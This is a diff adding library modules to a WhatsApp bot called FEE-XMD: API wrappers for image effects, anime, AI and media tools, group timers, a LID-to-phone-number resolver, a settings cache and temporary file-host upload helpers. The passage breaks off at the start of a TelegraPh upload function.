+ function _cleanErr(e) {
12
+ return new Error(e.type || e.code || e.name || 'request failed');
13
+ }
14
+
15
+ async function makeEffect(endpoint, text, extraParams = {}) {
16
+ const keys = getKeys();
17
+ let lastErr;
18
+ for (const apikey of keys) {
19
+ try {
20
+ const params = new URLSearchParams({ text, apikey, ...extraParams });
21
+ const res = await fetch(`${BASE}/ephoto360/${endpoint}?${params}`, { timeout: 30000 });
22
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
23
+ const data = await res.json();
24
+ if (!data.success || !data.result?.image_url) { lastErr = new Error(data.message || 'no image_url'); continue; }
25
+ const imgRes = await fetch(data.result.image_url, { timeout: 20000 });
26
+ if (!imgRes.ok) { lastErr = new Error(`Image fetch HTTP ${imgRes.status}`); continue; }
27
+ return await imgRes.buffer();
28
+ } catch (e) { lastErr = _cleanErr(e); }
29
+ }
30
+ throw lastErr || new Error('Effect generation failed');
31
+ }
32
+
33
+ const _WAIFU_PICS = new Set(['waifu','neko','shinobu','megumin','bully','cuddle','cry','hug','awoo','kiss','lick','pat','smug','bonk','blush','smile','wave','highfive','handhold','nom','bite','glomp','slap','kill','happy','wink','poke','dance','cringe']);
34
+ const _NEKOS_BEST = new Set(['neko','waifu','husbando','kitsune','blush','smug','pat','hug','kiss','bite','happy','cry','dance','wave','poke','slap','cuddle','nom','punch','tickle','yeet','facepalm','bonk']);
35
+ const _ANIME_REMAP = { maid: 'waifu', miko: 'waifu', uniform: 'waifu' };
36
+
37
+ async function getAnime(endpoint) {
38
+ const ep = _ANIME_REMAP[endpoint] || endpoint;
39
+ const keys = getKeys();
40
+ let lastErr;
41
+ for (const apikey of keys) {
42
+ try {
43
+ const params = new URLSearchParams({ apikey });
44
+ const res = await fetch(`${BASE}/anime/${ep}?${params}`, { timeout: 20000 });
45
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
46
+ const ct = res.headers.get('content-type') || '';
47
+ if (!ct.includes('json')) { lastErr = new Error('not json'); continue; }
48
+ const data = await res.json();
49
+ if (!data.success) { lastErr = new Error(data.message || data.error || 'no result'); continue; }
50
+ if (data.result) return data.result;
51
+ } catch (e) { lastErr = _cleanErr(e); }
52
+ }
53
+ if (_WAIFU_PICS.has(ep)) {
54
+ try {
55
+ const res = await fetch(`https://api.waifu.pics/sfw/${ep}`, { timeout: 15000 });
56
+ if (res.ok) { const d = await res.json(); if (d.url) return d.url; }
57
+ } catch {}
58
+ }
59
+ const nbEp = _NEKOS_BEST.has(ep) ? ep : 'waifu';
60
+ try {
61
+ const res = await fetch(`https://nekos.best/api/v2/${nbEp}`, { timeout: 15000 });
62
+ if (res.ok) { const d = await res.json(); if (d.results?.[0]?.url) return d.results[0].url; }
63
+ } catch {}
64
+ throw lastErr || new Error('Anime fetch failed');
65
+ }
66
+
67
+ async function getAI(endpoint, query) {
68
+ const keys = getKeys();
69
+ let lastErr;
70
+ for (const apikey of keys) {
71
+ try {
72
+ const params = new URLSearchParams({ q: query, apikey });
73
+ const res = await fetch(`${BASE}/ai/${endpoint}?${params}`, { timeout: 30000 });
74
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
75
+ const data = await res.json();
76
+ if (!data.success) { lastErr = new Error(data.message || data.error || 'no result'); continue; }
77
+ return data.result;
78
+ } catch (e) { lastErr = _cleanErr(e); }
79
+ }
80
+ throw lastErr || new Error('AI request failed');
81
+ }
82
+
83
+ function _extractImgUrl(data) {
84
+ if (!data || !data.success) return null;
85
+ const r = data.result;
86
+ if (typeof r === 'string' && r.startsWith('http')) return r;
87
+ if (r?.output && typeof r.output === 'string') return r.output;
88
+ if (r?.image_url && typeof r.image_url === 'string') return r.image_url;
89
+ if (r?.imageUrl && typeof r.imageUrl === 'string') return r.imageUrl;
90
+ if (r?.url && typeof r.url === 'string') return r.url;
91
+ if (Array.isArray(r?.all_outputs) && r.all_outputs[0]) return r.all_outputs[0];
92
+ return null;
93
+ }
94
+
95
+ async function makePhotoEdit(imageUrl, prompt) {
96
+ const keys = getKeys();
97
+ let lastErr;
98
+ const editEndpoints = [
99
+ { ep: 'photoeditor', extra: {} },
100
+ { ep: 'photoeditorv2', extra: {} },
101
+ { ep: 'photoeditorv3', extra: {} },
102
+ { ep: 'imageeditor', extra: {} },
103
+ { ep: 'nanobanana', extra: {} },
104
+ { ep: 'nanobanana', extra: { model: 'v2' } },
105
+ ];
106
+ for (const { ep, extra } of editEndpoints) {
107
+ for (const apikey of keys) {
108
+ try {
109
+ const params = new URLSearchParams({ url: imageUrl, prompt, apikey, ...extra });
110
+ const res = await fetch(`${BASE}/tools/${ep}?${params}`, { timeout: 60000 });
111
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
112
+ const data = await res.json();
113
+ const imgUrl = _extractImgUrl(data);
114
+ if (!imgUrl) { lastErr = new Error(data.error || data.message || 'no output url'); continue; }
115
+ return imgUrl;
116
+ } catch (e) { lastErr = _cleanErr(e); }
117
+ }
118
+ }
119
+ throw lastErr || new Error('Photo edit failed');
120
+ }
121
+
122
+ async function enhanceImage(imageUrl) {
123
+ const keys = getKeys();
124
+ let lastErr;
125
+ const enhEndpoints = [
126
+ { ep: 'remini', extra: '' },
127
+ { ep: 'imageenhancer', extra: '' },
128
+ { ep: 'imagehd', extra: '' },
129
+ { ep: 'imageupscaler', extra: '&model=enhance' },
130
+ { ep: 'imageupscaler', extra: '&model=upscale' },
131
+ { ep: 'imageupscale', extra: '' },
132
+ ];
133
+ for (const { ep, extra } of enhEndpoints) {
134
+ for (const apikey of keys) {
135
+ try {
136
+ const res = await fetch(`${BASE}/tools/${ep}?url=${encodeURIComponent(imageUrl)}&apikey=${apikey}${extra}`, { timeout: 30000 });
137
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
138
+ const data = await res.json();
139
+ const imgUrl = _extractImgUrl(data);
140
+ if (!imgUrl) { lastErr = new Error(data.error || data.message || 'no url'); continue; }
141
+ return imgUrl;
142
+ } catch (e) { lastErr = _cleanErr(e); }
143
+ }
144
+ }
145
+ const nbPrompts = [
146
+ 'enhance to HD quality, upscale and sharpen details',
147
+ 'make HD quality, improve resolution',
148
+ ];
149
+ for (const prompt of nbPrompts) {
150
+ for (const apikey of keys) {
151
+ try {
152
+ const params = new URLSearchParams({ url: imageUrl, prompt, apikey });
153
+ const res = await fetch(`${BASE}/tools/nanobanana?${params}`, { timeout: 45000 });
154
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
155
+ const data = await res.json();
156
+ const imgUrl = _extractImgUrl(data);
157
+ if (!imgUrl) { lastErr = new Error(data.error || data.message || 'no url'); continue; }
158
+ return imgUrl;
159
+ } catch (e) { lastErr = _cleanErr(e); }
160
+ }
161
+ }
162
+ throw lastErr || new Error('Enhancement failed');
163
+ }
164
+
165
+ async function makeCanvas(imgUrl, title, type, text, watermark) {
166
+ const keys = getKeys();
167
+ let lastErr;
168
+ for (const apikey of keys) {
169
+ try {
170
+ const params = new URLSearchParams({ url: imgUrl, title, type: type || 'spotify', text: text || '', watermark: watermark || 'TOXIC-MD', apikey });
171
+ const res = await fetch(`${BASE}/tools/canvas?${params}`, { timeout: 30000 });
172
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
173
+ const ct = res.headers.get('content-type') || '';
174
+ if (ct.includes('image')) return await res.buffer();
175
+ const data = await res.json();
176
+ const imgRes = _extractImgUrl(data);
177
+ if (imgRes) {
178
+ const ir = await fetch(imgRes, { timeout: 20000 });
179
+ if (ir.ok) return await ir.buffer();
180
+ }
181
+ lastErr = new Error('no image in response');
182
+ } catch (e) { lastErr = _cleanErr(e); }
183
+ }
184
+ throw lastErr || new Error('Canvas generation failed');
185
+ }
186
+
187
+ async function makeRC(imageUrl, prompt) {
188
+ const keys = getKeys();
189
+ let lastErr;
190
+ for (const apikey of keys) {
191
+ try {
192
+ const params = new URLSearchParams({ url: imageUrl, prompt, apikey });
193
+ const res = await fetch(`${BASE}/tools/rc?${params}`, { timeout: 60000 });
194
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
195
+ const data = await res.json();
196
+ const imgUrl = _extractImgUrl(data);
197
+ if (!imgUrl) { lastErr = new Error(data.error || data.message || 'no url'); continue; }
198
+ return imgUrl;
199
+ } catch (e) { lastErr = _cleanErr(e); }
200
+ }
201
+ throw lastErr || new Error('RC edit failed');
202
+ }
203
+
204
+ async function makePDF(query) {
205
+ const keys = getKeys();
206
+ let lastErr;
207
+ for (const apikey of keys) {
208
+ try {
209
+ const params = new URLSearchParams({ query, apikey });
210
+ const res = await fetch(`${BASE}/tools/topdf?${params}`, { timeout: 30000 });
211
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
212
+ const ct = res.headers.get('content-type') || '';
213
+ if (!ct.includes('pdf')) { lastErr = new Error('not a pdf'); continue; }
214
+ return await res.buffer();
215
+ } catch (e) { lastErr = _cleanErr(e); }
216
+ }
217
+ throw lastErr || new Error('PDF creation failed');
218
+ }
219
+
220
+ async function makeSong(query) {
221
+ const keys = getKeys();
222
+ let lastErr;
223
+ for (const apikey of keys) {
224
+ try {
225
+ const params = new URLSearchParams({ q: query, apikey });
226
+ const res = await fetch(`${BASE}/tools/aisong?${params}`, { timeout: 90000 });
227
+ if (!res.ok) { lastErr = new Error(`HTTP ${res.status}`); continue; }
228
+ const data = await res.json();
229
+ if (!data.success) { lastErr = new Error(data.message || data.error || 'no result'); continue; }
230
+ return data.result;
231
+ } catch (e) { lastErr = _cleanErr(e); }
232
+ }
233
+ throw lastErr || new Error('Song generation failed');
234
+ }
235
+
236
+ export { makeEffect, getAnime, getAI, makePhotoEdit, enhanceImage, makeCanvas, makeRC, makePDF, makeSong };
237
+
FEE-XMD-main/lib/groupTimers.js ADDED
@@ -0,0 +1,42 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ const _timers = new Map();
2
+
3
+ function parseDelay(input) {
4
+ if (!input) return null;
5
+ const m = String(input).toLowerCase().match(/^(\d+)\s*(s|m|h)$/);
6
+ if (!m) return null;
7
+ const n = parseInt(m[1], 10);
8
+ if (n <= 0) return null;
9
+ if (m[2] === 's') return n * 1000;
10
+ if (m[2] === 'm') return n * 60 * 1000;
11
+ if (m[2] === 'h') return n * 3600 * 1000;
12
+ return null;
13
+ }
14
+
15
+ function scheduleAction(jid, action, delayMs, executeFn) {
16
+ const key = `${jid}:${action}`;
17
+ const existing = _timers.get(key);
18
+ if (existing) clearTimeout(existing.timeout);
19
+ const executeAt = Date.now() + delayMs;
20
+ const timeout = setTimeout(async () => {
21
+ _timers.delete(key);
22
+ try { await executeFn(); } catch {}
23
+ }, delayMs);
24
+ _timers.set(key, { timeout, executeAt, action, jid });
25
+ }
26
+
27
+ function cancelScheduled(jid, action) {
28
+ const key = `${jid}:${action}`;
29
+ const t = _timers.get(key);
30
+ if (t) { clearTimeout(t.timeout); _timers.delete(key); return true; }
31
+ return false;
32
+ }
33
+
34
+ function getScheduled(jid) {
35
+ const result = [];
36
+ for (const [key, val] of _timers.entries()) {
37
+ if (key.startsWith(jid + ':')) result.push({ ...val, key });
38
+ }
39
+ return result;
40
+ }
41
+
42
+ export { parseDelay, scheduleAction, cancelScheduled, getScheduled };
FEE-XMD-main/lib/lidResolver.js ADDED
@@ -0,0 +1,209 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fs from 'fs';
2
+ import path from 'path';
3
+ import { fileURLToPath } from 'url';
4
+ const __filename = fileURLToPath(import.meta.url);
5
+ const __dirname = path.dirname(__filename);
6
+ const _sessionDir = path.join(__dirname, '../Session');
7
+
8
+ function _resolveFromSessionFile(lidNum) {
9
+ try {
10
+ const revFile = path.join(_sessionDir, `lid-mapping-${lidNum}_reverse.json`);
11
+ if (fs.existsSync(revFile)) {
12
+ const raw = fs.readFileSync(revFile, 'utf-8');
13
+ const jid = JSON.parse(raw);
14
+ if (jid) {
15
+ const n = String(jid).split('@')[0].split(':')[0].replace(/\D/g, '');
16
+ if (n && n.length >= 7 && n !== lidNum) {
17
+ if (globalThis.lidPhoneCache) globalThis.lidPhoneCache.set(lidNum, n);
18
+ return n + '@s.whatsapp.net';
19
+ }
20
+ }
21
+ }
22
+ } catch {}
23
+ return null;
24
+ }
25
+
26
+ function getParticipantPhone(p) {
27
+ const phoneNumber = p.phoneNumber || p.phone_number || p.pn || '';
28
+ if (phoneNumber) {
29
+ const num = String(phoneNumber).split('@')[0].split(':')[0].replace(/\D/g, '');
30
+ if (num) return num;
31
+ }
32
+
33
+ const base = p.id || p.jid || '';
34
+ if (base && !base.endsWith('@lid') && base.includes('@')) {
35
+ const num = base.split('@')[0].split(':')[0].replace(/\D/g, '');
36
+ if (num) return num;
37
+ }
38
+
39
+ const lid = p.lid || '';
40
+ if (lid && !lid.endsWith('@lid') && lid.includes('@')) {
41
+ const num = lid.split('@')[0].split(':')[0].replace(/\D/g, '');
42
+ if (num) return num;
43
+ }
44
+
45
+ return null;
46
+ }
47
+
48
+ function getParticipantLidNum(p) {
49
+ const base = p.id || p.jid || '';
50
+ if (base && base.endsWith('@lid')) {
51
+ return base.split('@')[0].split(':')[0].replace(/\D/g, '') || null;
52
+ }
53
+
54
+ const lid = p.lid || '';
55
+ if (lid && lid.endsWith('@lid')) {
56
+ return lid.split('@')[0].split(':')[0].replace(/\D/g, '') || null;
57
+ }
58
+
59
+ return null;
60
+ }
61
+
62
+ function resolveJidFromLid(lidJid, participants) {
63
+ if (!lidJid) return null;
64
+ const lidNum = lidJid.split('@')[0].split(':')[0].replace(/\D/g, '');
65
+ if (!lidNum) return null;
66
+
67
+ if (globalThis.lidPhoneCache) {
68
+ const cached = globalThis.lidPhoneCache.get(lidNum);
69
+ if (cached) return String(cached).replace(/\D/g, '') + '@s.whatsapp.net';
70
+ }
71
+
72
+ const fromFile = _resolveFromSessionFile(lidNum);
73
+ if (fromFile) return fromFile;
74
+
75
+ if (globalThis.resolvePhoneFromLid) {
76
+ const phone = globalThis.resolvePhoneFromLid(lidJid);
77
+ if (phone && typeof phone === 'string' && !phone.endsWith('@lid')) {
78
+ const num = phone.split('@')[0].replace(/\D/g, '');
79
+ if (num) return num + '@s.whatsapp.net';
80
+ }
81
+ }
82
+
83
+ if (participants && participants.length > 0) {
84
+ for (const p of participants) {
85
+ const pLidNum = getParticipantLidNum(p);
86
+ if (pLidNum && pLidNum === lidNum) {
87
+ const phone = getParticipantPhone(p);
88
+ if (phone) return phone + '@s.whatsapp.net';
89
+ }
90
+ }
91
+ }
92
+
93
+ return null;
94
+ }
95
+
96
+ function resolveTargetJid(rawJid, participants) {
97
+ if (!rawJid) return null;
98
+ const domain = (rawJid.split('@')[1] || '').toLowerCase();
99
+ const num = rawJid.split('@')[0].split(':')[0].replace(/\D/g, '');
100
+ if (!num) return null;
101
+
102
+ if (domain === 'lid') {
103
+ const resolved = resolveJidFromLid(rawJid, participants);
104
+ if (resolved) return resolved;
105
+ return null;
106
+ }
107
+
108
+ if (participants && participants.length > 0) {
109
+ const match = participants.find(p => {
110
+ const phone = getParticipantPhone(p);
111
+ if (phone && (phone === num || phone.endsWith(num) || num.endsWith(phone))) return true;
112
+ const base = p.id || p.jid || '';
113
+ if (base && !base.endsWith('@lid')) {
114
+ const pNum = base.split('@')[0].split(':')[0].replace(/\D/g, '');
115
+ if (pNum && (pNum === num || pNum.endsWith(num) || num.endsWith(pNum))) return true;
116
+ }
117
+ return false;
118
+ });
119
+ if (match) {
120
+ const phone = getParticipantPhone(match);
121
+ if (phone) return phone + '@s.whatsapp.net';
122
+ }
123
+ }
124
+
125
+ return num + '@s.whatsapp.net';
126
+ }
127
+
128
+ function resolvePhoneNumber(rawJid, participants) {
129
+ if (!rawJid) return '';
130
+ const domain = (rawJid.split('@')[1] || '').toLowerCase();
131
+ const num = rawJid.split('@')[0].split(':')[0].replace(/\D/g, '');
132
+
133
+ if (domain === 'lid') {
134
+ const resolved = resolveJidFromLid(rawJid, participants);
135
+ if (resolved) return resolved.split('@')[0].replace(/\D/g, '');
136
+ return num;
137
+ }
138
+
139
+ return num;
140
+ }
141
+
142
+ async function resolveSenderJid(rawJid, chatJid, client) {
143
+ if (!rawJid) return rawJid;
144
+ if (!rawJid.endsWith('@lid')) return rawJid;
145
+
146
+ const lidNum = rawJid.split('@')[0].split(':')[0].replace(/\D/g, '');
147
+
148
+ if (globalThis.lidPhoneCache) {
149
+ const cached = globalThis.lidPhoneCache.get(lidNum);
150
+ if (cached) {
151
+ const num = String(cached).replace(/\D/g, '');
152
+ if (num && num !== lidNum) return num + '@s.whatsapp.net';
153
+ }
154
+ }
155
+
156
+ const fromFile = _resolveFromSessionFile(lidNum);
157
+ if (fromFile) return fromFile;
158
+
159
+ if (globalThis.resolvePhoneFromLid) {
160
+ const phone = globalThis.resolvePhoneFromLid(rawJid);
161
+ if (phone && typeof phone === 'string') {
162
+ const num = phone.replace(/\D/g, '');
163
+ if (num && num !== lidNum) {
164
+ if (globalThis.lidPhoneCache) globalThis.lidPhoneCache.set(lidNum, num);
165
+ return num + '@s.whatsapp.net';
166
+ }
167
+ }
168
+ }
169
+
170
+ if (chatJid && client) {
171
+ try {
172
+ const meta = await client.groupMetadata(chatJid);
173
+ for (const p of meta.participants || []) {
174
+ const pLidRaw = p.lid || p.id || p.jid || '';
175
+ const pLid = pLidRaw.split('@')[0].split(':')[0].replace(/\D/g, '');
176
+ if (pLid !== lidNum) continue;
177
+ const pBase = p.id || p.jid || '';
178
+ if (pBase && !pBase.endsWith('@lid')) {
179
+ const phone = pBase.split('@')[0].split(':')[0].replace(/\D/g, '');
180
+ if (phone) {
181
+ if (globalThis.lidPhoneCache) globalThis.lidPhoneCache.set(lidNum, phone);
182
+ return phone + '@s.whatsapp.net';
183
+ }
184
+ }
185
+ if (p.phoneNumber) {
186
+ const phone = String(p.phoneNumber).replace(/\D/g, '');
187
+ if (phone) {
188
+ if (globalThis.lidPhoneCache) globalThis.lidPhoneCache.set(lidNum, phone);
189
+ return phone + '@s.whatsapp.net';
190
+ }
191
+ }
192
+ }
193
+ } catch {}
194
+ }
195
+
196
+ if (globalThis.resolvePhoneFromLidAsync) {
197
+ try {
198
+ const phone = await globalThis.resolvePhoneFromLidAsync(rawJid);
199
+ if (phone && typeof phone === 'string') {
200
+ const num = phone.replace(/\D/g, '');
201
+ if (num && num !== lidNum) return num + '@s.whatsapp.net';
202
+ }
203
+ } catch {}
204
+ }
205
+
206
+ return rawJid;
207
+ }
208
+
209
+ export { resolveJidFromLid, resolveTargetJid, resolvePhoneNumber, resolveSenderJid };
FEE-XMD-main/lib/settingsCache.js ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getSettings, getSudoUsers, getBannedUsers, registerSettingsListener, registerSudoListener, registerBannedListener } from '../database/config.js';
2
+
3
+ import { getAllowedUsers } from '../database/config.js';
4
+ const TTL = 300000;
5
+ const _DEFAULTS = { device: 'default', prefix: '.', mode: 'public', gcpresence: false, antitag: false, antidelete: true, antilink: 'off', chatbotpm: false, packname: 'Fee-Xmd', author: 'fredi_ezra', multiprefix: false, stealth: false, startmessage: true, autoview: false, autoai: false, frediagent: false, warn_limit: 3, autobio: false, presence: 'off', autoread: false, autolike: false, anticall: false, antiviewonce: false };
6
+
7
+ let _s = null, _sTime = 0, _sP = null;
8
+ let _su = null, _suTime = 0, _suP = null;
9
+ let _b = null, _bTime = 0, _bP = null;
10
+
11
+ const _TIMEOUT_MS = 300;
12
+ function _withTimeout(p, fallback) {
13
+ return Promise.race([p, new Promise(r => setTimeout(() => r(fallback), _TIMEOUT_MS))]);
14
+ }
15
+
16
+ async function getCachedSettings() {
17
+ const now = Date.now();
18
+ if (_s && (now - _sTime) < TTL) return _s;
19
+ if (_sP) return _withTimeout(_sP, _DEFAULTS);
20
+ _sP = (async () => {
21
+ try { _s = await _withTimeout(getSettings(), null); _sTime = Date.now(); } catch {}
22
+ _sP = null;
23
+ return _s || _DEFAULTS;
24
+ })();
25
+ return _withTimeout(_sP, _DEFAULTS);
26
+ }
27
+
28
+ async function getCachedSudo() {
29
+ const now = Date.now();
30
+ if (_su && (now - _suTime) < TTL) return _su;
31
+ if (_suP) return _withTimeout(_suP, []);
32
+ _suP = (async () => {
33
+ try { _su = await _withTimeout(getSudoUsers(), null); _suTime = Date.now(); } catch {}
34
+ _suP = null;
35
+ return _su || [];
36
+ })();
37
+ return _withTimeout(_suP, []);
38
+ }
39
+
40
+ async function getCachedBanned() {
41
+ const now = Date.now();
42
+ if (_b && (now - _bTime) < TTL) return _b;
43
+ if (_bP) return _withTimeout(_bP, []);
44
+ _bP = (async () => {
45
+ try { _b = await _withTimeout(getBannedUsers(), null); _bTime = Date.now(); } catch {}
46
+ _bP = null;
47
+ return _b || [];
48
+ })();
49
+ return _withTimeout(_bP, []);
50
+ }
51
+
52
+
53
+ let _al = null, _alTime = 0, _alP = null;
54
+
55
+ async function getCachedAllowed() {
56
+ const now = Date.now();
57
+ if (_al && (now - _alTime) < 30000) return _al;
58
+ if (_alP) return Promise.race([_alP, new Promise(r => setTimeout(() => r(_al || []), _TIMEOUT_MS))]);
59
+ _alP = (async () => {
60
+ try { _al = await _withTimeout(getAllowedUsers(), null); _alTime = Date.now(); } catch {}
61
+ _alP = null;
62
+ return _al || [];
63
+ })();
64
+ return Promise.race([_alP, new Promise(r => setTimeout(() => r(_al || []), _TIMEOUT_MS))]);
65
+ }
66
+
67
+ function invalidateAllowed() { _al = null; _alTime = 0; _alP = null; }
68
+
69
+ function invalidateSettings() { _s = null; _sTime = 0; _sP = null; }
70
+ function invalidateSudo() { _su = null; _suTime = 0; _suP = null; }
71
+ function invalidateBanned() { _b = null; _bTime = 0; _bP = null; }
72
+
73
+ registerSettingsListener(invalidateSettings);
74
+ registerSudoListener(invalidateSudo);
75
+ registerBannedListener(invalidateBanned);
76
+
77
+ setInterval(() => {
78
+ getCachedSettings().catch(() => {});
79
+ getCachedSudo().catch(() => {});
80
+ getCachedBanned().catch(() => {});
81
+ }, 60000);
82
+
83
+ function getCachedSettingsSync() { return _s || _DEFAULTS; }
84
+ function getCachedSudoSync() { return _su || []; }
85
+ function getCachedBannedSync() { return _b || []; }
86
+
87
+ export { getCachedSettings, getCachedSudo, getCachedBanned, getCachedAllowed, getCachedSettingsSync, getCachedSudoSync, getCachedBannedSync, invalidateSettings, invalidateSudo, invalidateBanned, invalidateAllowed };
FEE-XMD-main/lib/toUrl.js ADDED
@@ -0,0 +1,165 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import axios from 'axios';
2
+ import FormData from 'form-data';
3
+ import pkg from 'file-type';
4
+ import fs from 'fs';
5
+ import * as cheerio from 'cheerio';
6
+
7
+ const { fromBuffer } = pkg;
8
+
9
+ async function _getExt(buf, hint) {
10
+ let ext = hint || '';
11
+ if (ext && ext.includes('.')) ext = ext.split('.').pop().split('?')[0];
12
+ if (!ext || ext.length > 10) {
13
+ try { const t = await fromBuffer(buf); if (t) ext = t.ext; } catch {}
14
+ }
15
+ return ext || 'bin';
16
+ }
17
+
18
+ async function uploadToUrl(buffer, extOrFilename) {
19
+ const buf = Buffer.isBuffer(buffer) ? buffer : Buffer.from(buffer);
20
+ const ext = await _getExt(buf, extOrFilename);
21
+ const filename = `upload_${Date.now()}.${ext}`;
22
+ const errors = [];
23
+
24
+ try {
25
+ const form = new FormData();
26
+ form.append('files[]', buf, { filename, contentType: 'application/octet-stream' });
27
+ const res = await axios.post('https://qu.ax/upload.php', form, {
28
+ headers: form.getHeaders(),
29
+ timeout: 30000,
30
+ maxContentLength: 256 * 1024 * 1024
31
+ });
32
+ const url = res.data?.files?.[0]?.url;
33
+ if (url && url.startsWith('http')) return url;
34
+ throw new Error('no url in response');
35
+ } catch (e) {
36
+ errors.push('qu.ax: ' + e.message);
37
+ }
38
+
39
+ try {
40
+ const form = new FormData();
41
+ form.append('files[]', buf, { filename, contentType: 'application/octet-stream' });
42
+ const res = await axios.post('https://uguu.se/upload.php', form, {
43
+ headers: form.getHeaders(),
44
+ timeout: 30000
45
+ });
46
+ const url = res.data?.files?.[0]?.url;
47
+ if (url && url.startsWith('http')) return url;
48
+ throw new Error('no url');
49
+ } catch (e) {
50
+ errors.push('uguu.se: ' + e.message);
51
+ }
52
+
53
+ try {
54
+ const form = new FormData();
55
+ form.append('reqtype', 'fileupload');
56
+ form.append('time', '24h');
57
+ form.append('fileToUpload', buf, { filename, contentType: 'application/octet-stream' });
58
+ const res = await axios.post('https://litterbox.catbox.moe/resources/internals/api.php', form, {
59
+ headers: form.getHeaders(),
60
+ timeout: 30000
61
+ });
62
+ const url = typeof res.data === 'string' ? res.data.trim() : '';
63
+ if (url.startsWith('http')) return url;
64
+ throw new Error('bad response: ' + url.slice(0, 60));
65
+ } catch (e) {
66
+ errors.push('litterbox: ' + e.message);
67
+ }
68
+
69
+ throw new Error('uploadToUrl failed: ' + errors.join(' | '));
70
+ }
71
+
72
+ async function uploadTempUrl(buffer, extOrFilename) {
73
+ const buf = Buffer.isBuffer(buffer) ? buffer : Buffer.from(buffer);
74
+ const ext = await _getExt(buf, extOrFilename);
75
+ const filename = `tmp_${Date.now()}.${ext}`;
76
+ const errors = [];
77
+
78
+ try {
79
+ const form = new FormData();
80
+ form.append('files[]', buf, { filename, contentType: 'application/octet-stream' });
81
+ const res = await axios.post('https://qu.ax/upload.php', form, {
82
+ headers: form.getHeaders(),
83
+ timeout: 20000
84
+ });
85
+ const url = res.data?.files?.[0]?.url;
86
+ if (url && url.startsWith('http')) return url;
87
+ throw new Error('no url');
88
+ } catch (e) {
89
+ errors.push('qu.ax: ' + e.message);
90
+ }
91
+
92
+ try {
93
+ const form = new FormData();
94
+ form.append('files[]', buf, { filename, contentType: 'application/octet-stream' });
95
+ const res = await axios.post('https://uguu.se/upload.php', form, {
96
+ headers: form.getHeaders(),
97
+ timeout: 20000
98
+ });
99
+ const url = res.data?.files?.[0]?.url;
100
+ if (url && url.startsWith('http')) return url;
101
+ throw new Error('no url');
102
+ } catch (e) {
103
+ errors.push('uguu.se: ' + e.message);
104
+ }
105
+
106
+ try {
107
+ const form = new FormData();
108
+ form.append('reqtype', 'fileupload');
109
+ form.append('time', '24h');
110
+ form.append('fileToUpload', buf, { filename, contentType: 'application/octet-stream' });
111
+ const res = await axios.post('https://litterbox.catbox.moe/resources/internals/api.php', form, {
112
+ headers: form.getHeaders(),
113
+ timeout: 20000
114
+ });
115
+ const url = typeof res.data === 'string' ? res.data.trim() : '';
116
+ if (url.startsWith('http')) return url;
117
+ throw new Error('bad response');
118
+ } catch (e) {
119
+ errors.push('litterbox: ' + e.message);
120
+ }
121
+
122
+ return uploadToUrl(buffer, extOrFilename);
123
+ }
124
+
125
+ function webp2mp4File(path) {
126
+ return new Promise((resolve, reject) => {
127
+ const form = new FormData();
128
+ form.append('new-image-url', '');
129
+ form.append('new-image', fs.createReadStream(path));
130
+ axios({
131
+ method: 'post',
132
+ url: 'https://s6.ezgif.com/webp-to-mp4',
133
+ data: form,
134
+ headers: { 'Content-Type': `multipart/form-data; boundary=${form._boundary}` }
135
+ }).then(({ data }) => {
136
+ const form2 = new FormData();
137
+ const $ = cheerio.load(data);
138
+ const file = $('input[name="file"]').attr('value');
139
+ form2.append('file', file);
140
+ form2.append('convert', 'Convert WebP to MP4!');
141
+ axios({
142
+ method: 'post',
143
+ url: 'https://ezgif.com/webp-to-mp4/' + file,
144
+ data: form2,
145
+ headers: { 'Content-Type': `multipart/form-data; boundary=${form2._boundary}` }
146
+ }).then(({ data: d }) => {
147
+ const $2 = cheerio.load(d);
148
+ const result = 'https:' + $2('div#output > p.outfile > video > source').attr('src');
149
+ resolve({ status: true, result });
150
+ }).catch(reject);
151
+ }).catch(reject);
152
+ });
153
+ }
154
+
155
+ async function TelegraPh(input) {
156
